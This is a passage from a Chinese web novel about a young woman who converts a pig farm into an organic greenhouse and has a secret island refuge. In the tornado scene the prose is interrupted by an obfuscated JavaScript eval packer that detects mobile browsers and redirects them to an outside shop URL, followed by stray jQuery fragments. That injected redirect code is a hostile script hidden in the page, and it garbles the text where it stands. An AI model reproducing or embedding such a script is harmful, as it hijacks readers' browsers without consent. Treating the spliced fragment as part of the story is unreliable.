“就当是买地皮和房子,这些房间还有大棚,我看棚顶已经快不行了,只要换个透明顶,其他由我自己修整的话要不了多少钱。一个人用的空调也不需要再买。我还能自己修壁炉和烟囱管道。”另外,高温消毒清洗机、吊扇等等都是现成的,甚至还有一台噪音略大但还能用的柴油发电机。前任主人老夫妇完全不想把这些东西带去养老院的一室居——他们在养猪场好歹有四室两厅两卫,尽管设施比养老院还寒酸,可空间足够大。
“修壁炉!”还有烟囱!达亚娜老太太已经不知道说什么好了。她知道外孙女想以后买个小农场,还以为她会工作几年多攒点钱,但没想到这么早,而且还是养猪场!
“对,我打算用绿色能源,屋顶用太阳能,空的地方种便宜好养的树当柴烧,试着种些有机蔬菜和草莓之类的水果,自己吃还有卖给餐厅。奶奶如果你乐意来做点事情的话我给你发工资。”
“我干不动农活了。”达亚娜摇摇头,她有生活来源,虽不宽裕,但也过得去。这种大棚里的活并不轻松,而且外孙女摆明不要求她干什么活,那就是占便宜了。“不过我建议你谨慎雇佣临时工。镇上的年轻人越来越少了,老长的人要么有自己的事,要么做不了什么事,估计不能适应你的绿色有机概念。”
“好的,我知道。”苏茜之前两年能买那么多东西包括付房租的底气,就是因为能干活、肯干活的年轻零工少,正式工人的工资则是一年比一年高还经常有离职,老的工人在用新理念和新机器方面又差了一点点。倒是一些背靠大公司或是大地主,用大机械的大型农场活得不错,争取补助的时候也更力量强大,嗯,转基因的农产品大概也慢慢兴起了吧?
苏茜先给新家买了性能低下还价格高的台式电脑、连了可怜兮兮的电话网线,然后下订单买种子,种类多、数量少所以价格高些。
工程队伍大概最近活多、抢时间,三天就给她将原来破旧的还被掀掉一小块的铁皮顶棚换成透明顶棚里比较便宜的一种,但花了她三千多!真心疼啊,但不得不花,不然自家占地面积最大的一块地方就成了废墟,除非自己还想养猪。
她这辈子都不想再跟猪粪打交道!
接着就是整整一周的大清洁。她连屋顶都爬了梯子上去喷高温蒸汽,原化粪池的地方直接用来发酵秸秆、油渣、麦麸等等,一些泥土和更少的牛粪制作土肥。她不想花额外的钱买发酵液,不过加了些便宜的饲料级益生菌,一块钱一大袋能用在整个池子里。
等肥料好的两个星期里就开始整房子。首先猪圈全面改为简易大棚,但是种植箱却是可以移动的,因此这个体力活省不了。但因为没有多少技术含量,苏茜都是自己一块块弄,只有洞开的门窗与额外的四个煤炉是花钱找专业公司来做的,因为冬天零下的时候她会用煤炉来保持温度。
至于她自己的住处,抱歉,没力气,也没钱。
何况有空调已经不错了,只要消个毒就行。可以煮十个人餐点的大厨房也是自己清理一遍,厨具炊具能用的继续用。家里加个臭氧消毒柜就都解决了。
直到土肥做好。味道不算清新,但也不臭。
等将种子按照规定深度、间距和含水量种下后,她做了一式两份种植计划表贴在大棚和客厅。
开始种菜吃。
或者说,只出不进的日子快到紧要的转折点了!
生菜不需多少阳光,但草莓在生长的时候需要更多阳光。在购买灯和反光膜,以及用玻璃相比,苏茜果断选择后者。她不是不想真正实现车间式安全生产,而是没钱,也没销路。对当地人来说,有机二字已经足够贵了。嗯,做成菜可能还好一点点?
苏茜边看着长出芽苗的生菜边这样想着。
十月底的天气已经不算暖和了,好在草莓在中午到下午这几个小时阳光直射,加上其他时间用顶棚阳光也能凑合。苏茜看了看已经灰蒙蒙的顶棚,想着原来的工人房、现在的电器仓库里有高压水木仓,试试能不能用那玩意清洗。
“威妮,没有农药、没有化肥的有机生菜快长好了,下周什么时候有空来吃?”
“周日可以吗?!我周日上午来!我要尝尝味道!”好的话就固定采购,而且多放一片有机生菜,三明治和汉堡的价格还可以加两毛。
“当然可以!”她陆陆续续做了两吨多的有机土肥,全堆在原来的饲料仓库里,怎么可以用不上!“还有其他的菜,我种得不是很好,没什么商业价值,但自己吃是足够了。”
买种子的时候没有认真考虑日照时长问题,因此有些长得不好。好在有了网络,虽然现在网上内容很少,但还是能在一批大学网站还有种子和农业企业官网等搜到些知识的。真可惜现在没有谷歌没有度娘百科更没有深度搜索,不然搜起来多快啊!
书店和图书馆里她很难找到对路的书。不过,好像有网上卖书了?或者现在还没开张?真是郁闷……打完电话,开车去六十多公里外的大型超市。
种着蔬菜大棚的养猪场主人去买蔬菜和猪肉,真是有够讽刺的。她顺便补了一批战略库存包括饮用水和泡面,以及之前没敢多买的各国调味料,还去镇上的店铺买了些可以保存个两三年的火腿肉。对了,还有煤和煤炉,得打电话订货。
嗯,本州特产,似乎是旱灾?她现在都是用的农业用水,再说打水井的许可挺难拿到、成本也不低。那么,再多买些水盆和推车之类的,省得岛上雨水太多植物难以生存的时候,现实里没水用。另外,她自己喝的水、以及做饭要吃进肚子的都是饮用级的水,虽然贵一些,但健康。
* * *
“苏茜,亲爱的!这些菜看起来很漂亮!对了,我就要这种没有完全长成的,这样用起来更方便。”两个女人在用自来水洗了洗生吃了几片生菜后,威妮就立刻下单。苏茜给的价格比超市的有机生菜便宜还管送货,最关键的是现场从土里挖出来带走!
威妮先是跟苏茜一起吃了顿意大利肉酱面配沙拉。沙拉有一半是自种的,切成丝加奶酪和油醋汁烤三分钟拿出来,居然挺好吃的。肉酱则是苏茜自制的,同样是她自种的不太有卖相的蔬菜加牛肉搅成末与去皮西红柿和香料一起做的。她做一次酱大概有近三公斤,一部分这两天吃掉,其他的冷冻起来到时送达亚娜尝尝。
“这个肉酱吃起来不错,你是怎么做的?”威妮是做餐饮的,当然对口味敏感。
苏茜把做法配料都告诉她。“主要是有什么放什么,这样省钱。”
“太赞成了。”威妮对苏茜说的那些东方香料很感兴趣。但不同语系的不同读音让她头大。“你能不能做了卖给我?”
“也行。要不你时不时过来试吃?”
“真的?!”
“真的。”
“哦!天堂!我会带酒过来的。”
“便宜的酒就可以了。不过啤酒要用纯麦酿的,不要调味。我做菜用。”
“真高兴你懂那么多做菜方法,哦,不,烹饪艺术。”作为同专业的学姐,威妮虽然也属于成绩优秀那一挂,但是与苏茜的广博完全不是一个路子。
两个吃得有些撑的人相视而笑。
苏茜煮了刮油的浓黑乌龙,但有冰糖和玫瑰花薄荷草玉米须调节口味。威妮瞪着壶里奇奇怪怪的一堆配料,还有用茶滤过滤后黑乎乎的茶水,犹豫几秒,鼓足勇气抿了一小口温热的水,结果发现口感还不错?
“好像不难喝。”
“那是当然。吃得多就喝这类黑乌龙,有助于减少便秘,但这茶不能减肥。”庆祝一下,这是砸下几乎所有财产购买改造养猪场后的第一笔生意,不大,但细水长流。
威妮留下一瓶不错的红葡萄酒作为礼物,然后带着能卖两天的带泥生菜走了。至于她会不会去检测之类,苏茜表示非常欢迎。
第二个客人是之前她实习打工过的餐厅老板。价格跟超市普通生菜差不多的有机生菜,不买是白痴!当然除了采购,他还跟苏茜一起研究了下新菜单,作为回报他送了些牛肉和地中海风格调料,丰富她的冰箱和调料柜子。
加上自己吃的和送给达亚娜的,第一批菜在半个月内就吃得差不多了。好在威妮来取货的时候,下一岔生菜已经有巴掌大,正好威妮立刻用。由此苏茜掌握了种植的节奏:不能一口气种下,不然多的时候吃不完、少的时候没得卖。
草莓可以吃了。
但还是这个问题。头一次没有掌握节奏,同时成熟的果子太多!
“我帮你做果酱吧。”威妮望着估计超过十公斤的草莓呆了会儿才道。言下之意别忘记用果子和果酱作为报酬。
“非常非常感谢!”而且这批草莓因为营养一般、种子也一般,卖相和口感都很普通,不算太好吃,当然作为普通水果还是合格的。
威妮就吃得很开心,甚至午餐都是微甜但不齁的草莓蛋挞饼。超市里一来不可能有如此新鲜的有机水果,二来有机草莓一公斤七八块左右根本不便宜,而好吃的有机草莓她也不想费钱去买。两人干了几个小时,才将大部分草莓都做成果酱。威妮带走一堆玻璃瓶装草莓果酱,重得她差点抱不到车后座,再加上几十公斤的菜连包装,感觉轮胎都稍微瘪下去了一点点。
……
大棚其实并不是很大,建筑搞不好还是一战时期弄的。很多水泥空地都是用来停车、准备饲料,别说东一块西一片的铁皮棚草堆猪舍,房子和工人宿舍更是乱七八糟没有规划,而且宿舍都是没有地基的违建水平。没有水泥的几十块杂草地也就是苏茜买下来后才处理的,因为压根无法用农机,她只能用了一桶除草剂,然后种上了些最便宜的枫树苗。今冬是看不到红叶的。
以前这家养猪场的面积利用率不高,因为劳动力和饲养技术的限制,最高峰也就养了两三百头瘦肉猪,母猪的管理照看也非常不怎么样、猪仔还经常死掉,在这个时代确实经营不下去了。
仔细看过一间间没用的空屋,苏茜果断找公司将工人房全拆了,还手续齐全地付了垃圾清理费用,然后房产文件上只剩下主人屋是居住用房,其他则是养猪场改建的蔬菜大棚、仓库、实验室等等,总体上她明年开始只需要交不到一千的地税,比市区那间阁楼的房租便宜多了。
各种小屋则是要慢慢改为水培蔬菜种植实验室。因为现在要稳定供应两个客户的新鲜菜就让不算大还被大量隔断和过道占了一半空间的大棚用得差不多了,最关键的是因为日光的关系无法立体种植。其他建筑如果不用起来,那么这个小种植场的产出也太寒碜了,是能让税务官侧目的那种。
冬天的广袤平原,寒风吹起来一点也不含糊。好在煤还算便宜,稳定卖蔬菜和翻译件的收入比之前打零工的时候多不少,种大棚菜的保险金也比养猪低得多。唯一让人遗憾的是,不当学生了,社保、商业保险等等的花费翻了一倍。
而至于安全问题,达亚娜在看过她能用廉价版的轻型半自动打中三十米靶子后就表示很放心,至于只有八环那压根不是事,一梭子扫过去就证明主人火力足、脾气暴、敢杀人,不论小偷还是劫匪都会避开。
苏茜则表示,跟八百块的原版柯尔特比,仿版虽然射程和杀伤力都略差,但便宜啊!而且作为单身女性农场主,拿略差版本的隐蔽持木仓许可就更不是问题了。她现在注册的热武有三支,之前因为两支手木仓的子.弹型号各不相同、无法混用,于是她又买了一支能用相同.22的便宜货,没额外花大价钱买消音抑制器。
店老板很高兴,连测试打靶加一支热武,还有两位女士各自买的子.弹,是一笔不小的生意——达亚娜在获得合法身份后也办了证,有两支合法的武.器。
“苏茜,保护好自己。”她不想老了还去认孙辈的尸.体。
“我知道,放心,达亚娜。”只要不是上来就被爆头,她对自己还是挺有信心的。
但是碰到老天爷不给面子的时候,谁也没办法!
苏茜瞪着空中那个黑乎乎、快速旋转的玩意,差点没反应过来。
龙卷风?真的吗?那个东西,向自家飞过来,非常快!
她愣了大概半分钟,才转身跑向房子,然后半途躲到自己岛上。
天啊,龙卷风!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976276|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她惊魂未定地面对小木屋里早已经熄灭的火炉,好半天才回神。
真恐怖!那个方向,好像就是自己的农场?幸好她在傍晚的时候给树浇水而不是在一点不牢靠的棚子里,不然大概就飞上天了?
她摸到椅子,一屁股坐下。
今天的岛上温度还算宜人,雨水也不是那么多,她还能晒晒床垫什么的。哦,赶紧收回来吧,别晚上突然下雨……磨蹭了近半个小时,苏茜还是出去看看。房子窗户烟囱的都没问题,大棚的透明顶除了更不透明似乎也没变化,看来施工队伍干得不错。
哦,刚浇完水的小树因为地理位置可能正好位于龙卷风的经过处,被连根拔起好几棵,等会可以去找找。
还有,似乎,少了一个铁皮棚?
她一个个查过去,还好作为实验室的棚子和小仓库都没事,只是个别窗玻璃碎了。是有个有些破烂的棚子,没了。
被龙卷风卷走了。由此可以看到不大的龙卷风的路径,正好略过她的主要财产。
苏茜又在自己地盘上走了一大圈,小树和铁皮都没看见,不知道吹到什么地方去了。如果不是亲眼所见,她甚至可能会以为东西不见是记忆出问题。
晚上的报道里,有个小孩子被卷走死亡的消息满天飞。
哦,对了,她终于下决心多付费,有线电视频道多了不少,其中就包括国内国际新闻和知识类频道。她查各种植物的适合灯光非常费劲,网上的信息又极少,生产照明灯的企业都是大言不惭说啥都适用、越贵的越好,而学校里可能是大专院校的关系,根本没有这方面的课程,植物营养液的配方一句有效的都没有,甚至还是日本那边的资料多一些,其他都得靠自己一点点琢磨。现成的营养液有得卖,就是价格让人心绞痛。可见各家的配方和生产工艺堪称商业机密。
没事,她有得是时间和实验场地,包括普通蔬菜的种子批发价并不高,足够实验用。而平时卖的菜都是营养土培育的,最大的优点就是便宜,她又是不为了赚大钱的,所以价格是比照超市里同等普通蔬菜再加一点点的那种,还可以让买家当场自己收割。所以陆陆续续周围一百公里内不少餐厅都来采购她的生菜和草莓,给顾客的宣传是当天早上从有机蔬菜大棚里收割的,起码能多卖二十五分。
“……是的,我看着那个黑黑的东西半分钟才跑回屋子。还好没有直接经过房子,不然窗玻璃就会破碎。其实我还是挺高兴的,有一个非常破旧的棚子,拆掉浪费钱、不拆又看着不顺眼,现在直接被龙卷风拔掉还省了垃圾清运费。不过镇子上有一栋房子毁坏地很严重,半间屋子都报废了。”这场龙卷风直接导致苏茜不敢买真正的塑料大棚,因为如果不幸碰到龙卷风就可能损失惨重。她除了永久和非永久建筑物的意外保险,其他农业险都没投,所以干脆去买了三个旧集装箱,其中一个放岛上,其他的作为水培基地——真没听说本地的龙卷风能吹跑装了东西的集装箱,所以她将两个集装箱并排放在水泥空地上,出于可能搬动的考虑没有用地钉之类的固定工具。
集装箱里面则是贴了反光膜,拉了电线用来给两层的种植架子照明。之前的几个月她已经试验了好些方法,水培营养液虽然一直不理想,但土培她在行啊!不就是多加一个灭菌工序嘛!尤其是在一个铁皮棚子里培育出卖相不佳、但切成薄片后口感“正常”的姬松茸后,令她信心大增。一棵姬松茸比一颗生菜占地小、价格高,单个客户销量不大,尤其适合她这种迷你农场培育方式。
她在自制烤架上烤了好容易学会出海钓鱼后钓上的半大海鱼、一只倒霉的小鱿鱼是被补刀渔网弄上来的、一堆贝壳和洗净切片的姬松茸,再抹点柠檬蒜泥,看哪个熟了就晾一会吃,烤架最角落还有铁壶煮的烤玫瑰薄荷奶茶,一边看着屋外的雨景。
全部吃完,厨余扔海里,躺木屋里享受凉爽的夏日夜晚。自己农场屋子里的空调噪音很大,睡觉开着嫌吵,不开嫌热。她暂时没打算换新的,所以在电风扇也没法解决燥热的晚上直接去岛上睡觉。
等上午顾客上门取货的时候,苏茜才听到一个让她瞠目的消息:昨晚有外地持木仓劫匪打劫了一个半农场,嗯,不过被农场主的儿子爆头了。被劫的农场在她家几十公里的地方。
“苏茜,你要不要做一些安全防范措施,比如拉个电网和警报器什么的。”中午的时候,威妮看到新闻后打电话过来。有趣的是,镇上的外祖母还有几个客户都没有担心的意思。说实话,本地很少有抢劫之类恶行案件,纯粹是人均持木仓率在一个很可怕的水平。
“放心,我有木仓,三支,还有两百发子.弹,足够向劫匪显示我的决心了。最重要的是我没钱。打劫我除了重伤或是没命,一点好处也没有。”
“……那就好!”
“对了,这几天你可以来尝尝我种的蓝莓和蓝莓汁,昨天我吃掉不少,还榨了汁。这个果汁不能放太久的。”
“我要来!我要来!可以做成果酱吗?”
“你做,你带走,留一半给我就行。啊,还有果酱瓶子也归你。”
“太感谢了!”新鲜有机蓝莓酱,又是个卖点不是吗?她的有机草莓食品一直很受欢迎,总是很快就卖光,蓝莓肯定也一样。
放下电话,苏茜开始写购物清单,顺便考虑要不要买部手机。现在的手机实在没别的用处还贵,跟慢吞吞的电脑和网络一样,让人一点消费欲都没有。对了,该买件羽绒服和新的绒衫绒裤了,再来一身冲锋衣裤和雪地靴,外加一双雨靴,羊毛袜子也要买了,如果有打折寝具也可以再买些。
她从来不戴任何首饰,之前天天跟农机猪粪打交道,每天要么念书考试要么干活赚钱,现在更是自制牛粪土肥种菜。嗯,她在不受男孩子欢迎方面小有名气,不少年轻男女暗搓搓说她身上有臭味,不过由于年轻人本来就数量不多,单身的更少,所以苏茜其实是真没法找伴,也没有兴趣找,因为不想暴露自己的小岛,哪怕只是个荒岛。
不过有件事她没说实话,她的不少现金都是清洁消毒后安按年份真空收纳到山洞里,还特意兑换了一些别的货币,另外就是毫无特色的黄金饰品也陆续买了些放着备用。她甚至还跟一位老家来的留学生换了些十年前发行的老家货币作为“收藏品”,可惜那位毕业后辗转去了西部的常青藤大学念书,将大好的亚洲语言翻译工作留给她。
“天啊,你到底会多少外语。”威妮看着天书一样的文字,半肚子的蓝莓汁化作全脑袋的惊讶。
“能做翻译的并不多。也就是四种吧。”用电脑的唯一好处就是她终于装上了阿语、西语和华语打字软件,可是不知道啥原因,愣是找不到日语的。最近一段时间她接了好几个日语的随同翻译,兴许是她的欧洲长相、英式口音和带有明显日式礼仪的四十度鞠躬,以及没有攻击力的清秀相貌和学历,让双方客人都非常满意,基本上公司碰到的翻译活都找她,酬劳也是接近顶格的那种,日裔华裔的出场都没有她的高,收入跟卖菜的净收入差不多了。行吧,日语笔译的活接不到就接不到,无所谓。不过说实话,老家那边的人听到她的华语口音,那眼睛都亮得跟灯泡一样,拉着她不肯松开。
“四种!天啊,想想我那可怜的法语,到现在也只能点菜。”
“我的法语也不怎么样。”口音还很乡下,有一次她干脆用中东腔的法语去交流,效果反而好一些。“还有,巴黎那儿的治安对你这样的漂亮美国妞儿并不友好,还是别去了。尤其东欧去了很多人,专门干违法的事还没人管。”
“我知道,反正我也不是做法国大餐的料。你知道吗,我之前碰到的一个法国大厨直接说女人做不好大餐。我那时差点找律师告他性别歧视!”
“又不是你的老板,告了也没钱拿。”
“……好吧。”
5. 开局一荒岛(五)
“法律!必须出台法律!”
“那么谁出钱?或者说哪块预算?你能争得过军火公司还是雇佣军公司?”
“……”
“……”
在酒吧里,中老年男人最偏爱的就是与自己利益相关的政治话题,而年轻些的男女们更倾向娱乐。但在解决干旱、河堤这些问题的时候,大家又都会一起激动起来。
干旱这玩意,平均二十年一回。
达亚娜很少来酒吧,理由是浪费钱。
苏茜更是从没在镇上酒吧消费过,理由同上。
全镇的人都知道,祖孙两个不穷,但也不宽裕。
“达亚娜,你孙女在种菜吧?受影响吗?”
“她没说。不过我知道她都是检测了土壤含水量、需要的时候再浇水,所以用水比较少,倒是用电比较多。她又不敢用太阳能,怕被龙卷风吹掉。”
达亚娜是和搬走后两年没见的老朋友见面聊天才去的酒吧。下午的酒吧里没什么人喝酒,倒有几个看比赛节目喝啤酒吃东西的人,多数是老头。
“确实,三级龙卷风都足够把脆弱的太阳能板吹走了。”
“我真担心限制农业用水。”
“上次大旱灾距离限制有十二年了吧?”
“那次西部特别严重。我们这里,还记得吗,还要早一年。”
“今年四月到现在才下了几场雨?”
“两回。其中一次河水水位上升很多,大家还担心了一阵。”
“你说今年会干旱吗?”
“我觉得不会特别严重。州长前天也讲话了,说下周可能会下雨。”
“你居然相信那家伙的扯淡?!”
新一轮争执又起。
“达亚娜,我们这里好像没有过特别严重的干旱吧?”
“过几年就会缺水,偶然又洪水泛滥。其他还好。我觉得没有什么特别大的灾难。”
……
二十公里外,苏茜面无表情地看着农场里蒸发了一个白天才获得的半升淡水——要是在岛上,大概是一两。
还余下两个大半满桶的海水呢!
一天时间,两桶海水和玻璃罩、水壶等等简易装置,就得到半升淡水。所以,用日晒蒸发获得淡水仅仅只能是应急。她至今没有安装太阳能,一是怕来个龙卷风血本无归,二是春夏秋三季她都是将底层的种植箱搬出来晒太阳来解决日照问题,到了冬天太阳能没啥用,直接用交流电,停电则有柴油发电机。汽油柴油桶她都是储存在地下小仓库,地下大仓库则是放种子粮食之类。
记得似乎有种化纤棉,可以快速吸水、饱和了就滴水来着?然后用太阳能或风能小电扇让化纤棉布加快滴水的过程。可惜任何文献都没有这类资料。
看样子是吸热面积的问题。她可以用比较浅的大水槽来蒸发海水,来个二十平米,自己在农场个人用的淡水应该够了。雨水池和桶里的水大概可以对付日常浇水的六七成,那么干旱对自己影响不会大。
她又买了一批塑料浅盆,一半放在岛上接雨水,一半盛了海水出来在农场里充足的阳光底下蒸发。有人好奇,她一句发酵试验就足以让人离得远远的。
发酵实验其实一直在做,营养液成本是苏茜的心头大患。种菜平时也需要添加营养液,水培更是离不开。如果购买成品,那么她只是个旱涝不保收的粗加工车间,厂商对小买家都是卡着能接受的最上限价格来卖,搞不好最后辛苦种菜的所有收益都成了人家研发投入的回报率,而且还有一个更坑的超市收购环节。还是那句,没有老家厂商的加入,她这种小本生意被大公司当韭菜割的情况就不会好转。
接下来的半个月,只下了一场雨。
苏茜的日晒海水装置每天收集到的淡水加上岛上收集的雨水,基本可以灌溉大棚菜和日常用水。河水日渐干涸,有的地下水渠水量减少。另外,水里的硝酸盐指标说明家用自来水其实不怎么适合饮用了,除非用离子交换剂之类。
州里已经在宣传旱灾了。
不过两天后,开始下雨。这雨一下就是陆陆续续好几天,大家差点以为要洪灾!好在最后雨停了,土地里的作物最终能收获一大半。
可不少地方还是受了损失。
“这该死的天气!”农场主拿了现金,挥手让苏茜开着租来的货车拉走堆着的部分秸秆——她是想都拉走的,但吃不下这么多。可惜货车主绝对不允许她用自家车子去拉牛粪,她也没想过用别人的车,而是直接开一辆二手皮卡应付牛粪,自然会一路“稍稍”播撒一些不那么协调的气味,因而绝对不会碰到搭车和冒充搭车的抢劫之类。
不过在回农场的路上,苏茜亲眼看见一场拿了手.木仓的抢劫,之所以这样判断是因为她认得被抢的那辆骚包敞篷车。所以她开着皮卡一路冲向那个劫匪。
就冲对方单手拿木仓、肚子凸出的样子,哪怕身高不错也是个废物。
果然,看见一辆车碾压向自己,那劫匪立刻跑向自己车——这是非职业惯犯的本能反应。苏茜跟上,被抢的车也跟上来。
“砰砰砰砰砰砰砰——”车主也是带着武.器的,这位还是个发烧友农场主家的小儿子,起码囤了十支热武.器,这次居然被一柄不到一百块的小破木仓威胁,简直气炸了。可惜这位木仓法也不佳,即使是个能左手开木仓的,但准头让人泪目,七发子.弹只给对方的车开了三个洞,对方什么事也没有地跑了。
镇上出现了今年第三起劫案。
“好的,他的车牌号是……证人,哦,苏茜是证人。”
“对,范维兰特警官,我是苏茜-奥尔森,达亚娜的孙女,我作证,亲眼目睹。这家伙一开始还嚣张得要死。我车子开过来他就跑了……好的,我明天会来签字。”
“你确定不是被你车子的味道熏跑的?”
“哦,这里是下风口吗?”
“……”
“……”
报完警,敞篷车上的小子合上最新款的翻盖手机。那天线和黑白小屏看得苏茜眼睛疼——这就是她一直不高兴买手机的原因,多少年后的折叠屏卫星智能机也就是这个价格了。
“谢谢你苏茜,不过我们就不握手拥抱了。”他急急忙忙挥手道别,哦,这个角度正好是扑鼻的牛粪味。听说牛粪可比猪粪的味道好多了!幸好他家不养猪……赶紧走赶紧走。“下回来买你家的菜,顺便送你礼物——”
苏茜摆摆手,上车。她一直戴着口罩呢,嘻嘻。
* * *
今天的苏茜一身工装加长款夹棉冲锋衣,带着寒气抱着两个摞在一起的简易包装盒子进来。
“莫妮,你要的蓝莓和甘蓝。”
“谢谢!苏茜!”苏茜的经营很灵活,她有空的时候可以送小批量货不收费,只要加上汽油费别让她亏钱。“要喝杯热葡萄酒吗?”
“不了,谢谢。我还有菜带给达亚娜,然后得开车回去。”
“好吧,今晚可能下雪,你早点回去。”这姑娘不占外祖母的便宜,还经常照顾老太太,这让镇上的中老年妇人们都非常欣赏,包括莫妮,能从苏茜这里买东西也尽量买,毕竟对健康有好处又没有贵多少。
苏茜送完立刻去达亚娜家。她不光送了些蔬菜水果,还用她早就眼巴巴准备好的猪肉炖了一锅莲藕排骨,将烤猪蹄送进烤箱,不过没有等能吃,就带了达亚娜从养猪场直接买的没人要的猪蹄和猪肝猪心这些回自己家监测温度。
感谢自己买肉的养猪场都会阉公猪,不然……
顺便感慨下,终于弄到可以种植的莲藕!真是感天动地的杰作。
煤炉便宜,却是很容易一氧化碳中毒的玩意。尤其是铁皮棚子换气和保暖效果根本没有,同时去年买的二手炉子并不密封,自己装的烟道一点用也没有。所以苏茜在飞车回来后,赶紧套上氧气面罩,检查了几样不能太热也不能受冻的蓝莓,带走煤灰又添了点煤。这个棚子大概可以收十几公斤蓝莓,能在圣诞节卖得不错。
再查看一圈其他的大棚,苏茜放下心。外面的雪开始积起来,她哆哆嗦嗦回到房子里开空调。可惜,等了五分钟没见热气,可能是老旧空调又出问题了。家里又没有囤多少壁炉用木料,所以她抬脚回岛。
岛上即使是海边,风呼呼地吹都比农场屋子里高二十华氏度,再点燃木屋取暖炉里的煤,同时将冰箱里拿出来的不锈钢小锅和小茶壶都放在炉子上。再去现实屋子里打开冰箱,取了蓝莓蛋挞赶紧回岛,直接用烤箱纸垫着放在炉板的边边角。不一会,甜香飘出,可以吃了。
莲藕排骨在明火上要炖一个多小时,在隔了一层的炉板上起码两个小时。所以苏茜晚饭吃的是之前就吃掉一半、剩下一半冷藏的咖喱胡萝卜洋葱土豆鸡块,再加一棵没彻底长大的生菜和一小碗草莓,半小时就能吃完。
一个人吃饭的时候,她做一道菜会吃两顿。农场面积大,没人打扰她在岛上度假吃海鲜,但同时也没有外卖。如果不想整天吃同样口味的甜面包配速溶咖啡,那还是老老实实自己弄吃的。
今天份的甘蓝纤维粉不能忘记。前几年为了躲避外头的乱糟糟,苏茜曾经连续一周吃面饼,结果导致的肠道问题虽然不是病可也挺要命。自此她每天都会研究下摄入的膳食纤维够不够,除了直接吃膳食纤维粉,甚至还会用极小剂量泻药。另外,本州气候四季分明,但常见的食物结构却很不怎么样,考虑到本地人的平均活动量,还是以脂肪、碳水的高热量组合为主,她自己生活必须平衡饮食。
火炉烧煤是因为岛上不适合种植,包括种树。而周边即使有林木也是私家森林,搞不好还是生态湿地,烧木头的价格可比烧煤贵多了。所以,她回农场放东西的时候又盯着已经比自己高了的枫树好一会。这树的树干部分连一米都不到,烧起来不行吧?这么多叶子只能做土肥,细枝没有燃烧价值,树干不劈就能直接放炉子,可能一整棵树只够小木屋用一晚上。
但烧煤的话即使做饭烧水也就是一块钱左右,加上小岛冬季温度略高、木屋面积又小,寒冬睡木屋比在房子里用大功率取暖器划算得多,最多是加一道洗刷马桶的工序。可想到距离卧室有点距离还没有浴霸的卫生间——虽然是两卫,但一间小得只有洗衣机和洗脸池,另一间有淋浴和浴缸但其实是后来为主人和工人们而建的,窗户墙壁都不行还跟主建筑不直接相连,冬天需要用取暖器才不至于感冒——老夫妇就是用了一只热风器,那噪音绝对让人没心情泡澡。要不开春的时候再种点桉树之类的?橡树不要提,那个虽然木质好、特别耐烧,可长得特别慢啊!难道等她死了被不知道哪个糟心的远亲继承现成好木料吗?!
岛上唯一不好的是经常有风雨。
她自己弄的屋门又坏了,还差点被风吹跑。算了,将木门收到屋子里,无视时不时打进来的雨点,苏茜打着哈欠在火炉里加了两块煤,又将进风口开大一些,钻进被子继续睡。明天记得提前再买一车煤回来。
今年的一月份好像特别冷。
苏茜一边怀念羊羔绒裤一边套了两条卫裤再塞进牛仔裤,正好穿进去。
之前的雪都化掉了,但天气预报说后天又会下雪。
她凌晨就起来,将可以收割菜和水果全部收齐,然后开着皮卡给几个固定客户送了一圈的菜。因为她冬季大早上送货,所以客户们给了相当符合季节和服务的价格,只除了要求她拉完牛粪后务必清洗干净,不能让菜沾上异味。对此苏茜直翻白眼,她拉有异味的货的时候都是垫了一层雨布再加大型特厚垃圾袋的,雨布也是先在海水里漂洗、再用雨水冲刷、最后消毒液里浸泡后晾干的,出现裂缝破洞就立刻更换的那种。
她懒得浪费钱买厢式货车,就这么点出产,再多的货拉上露营车就都能解决。
很多人在新年前的打折季囤了一堆酒度过没太多活计干的冬天,而苏茜则囤了不少可以放两年以上的罐头、消毒、医疗还有汽油柴油。就是没有煤。
想到就做。送完货,加满油,她一脚油门开去隔壁州买无烟煤。要不再买些煤油和煤油炉?还是煤油灯?现在这个国家有煤油灯这种玩意吗?
最后她买到了一吨煤,但没有煤油。这是完全不同的两种东西,也不知道上哪去买。倒是她顺手买到了小型卡式炉,这个比烧柴的便捷且温度高,多买点迷你煤气罐就行了,唯一要小心别引起火灾。所以买到的煤气罐她都放岛上而不是和燃煤放在一起。
唯一让人愉快的是她跑去当地华人聚居的商业街买了一大堆的东西,包括价格还可以的木门加配件:同样放岛上,不然都连后座都堆满也放不下,哦,还有当收藏品的老家货币——她甚至还看到了全国粮票这玩意,着实愣了会儿才想起来其作用,于是一起当作收藏品买下来。
回程路上,加油站的人看了眼她拉的货,转过头——真够败家的,这么远的路,就拉一车不值钱的煤,搞不好连汽油费都不够。
回本州时就开始下雪了。到农场的时候,路况已不怎么好。等重新费力安装好木屋的门都到凌晨收割的时间。所以也别睡了,吃点东西去干活!
从差不多华氏70度的小屋里一下子跑到大概只有10度的房子里,哪怕是刻意加了长羽绒、卫裤绒裤,也把苏茜给冻得哆嗦。幸好现在都是她自己送货了,所以没客人,不需要浪费开两个取暖器的钱了。
她冲去近60度的大棚里,换上耐脏的冲锋衣,收蔬菜水果。出门前在冲锋衣里头再套件薄羽绒,然后将车库里的皮卡开出来一边发动升温,一边冒雪装货。最后盖上雨布,用搭扣扣紧,去送货。
好在今天不需要去得城,就在附近,一个半小时就都搞定。然后回去睡觉。她真是太明智了,木屋里的火炉一直没有灭,只有一块煤用小火慢慢烧着,即使木门漏风,但室内温度保持60华氏度以上——室外是50度,与农场室外不是一个季节。
苏茜补眠四个小时才醒,然后用意大利面、自制肉酱和自种蔬菜对付了一顿,回去翻翻来电显示,记录下收支和采摘文档,又种下两箱菜种子、换掉暖炉里的煤,烤个铺了一层草莓、一层蓝莓和半层鸡蛋的薄饼当晚饭,再在与卧室相连的起居室放好煤炉,最后去温暖如春的木屋睡觉。只需要盖一层被子的冬天还是挺舒服的。至于打洞装烟囱的事还是明天送完得城的货、去趟银行将几张支票入账后再说。
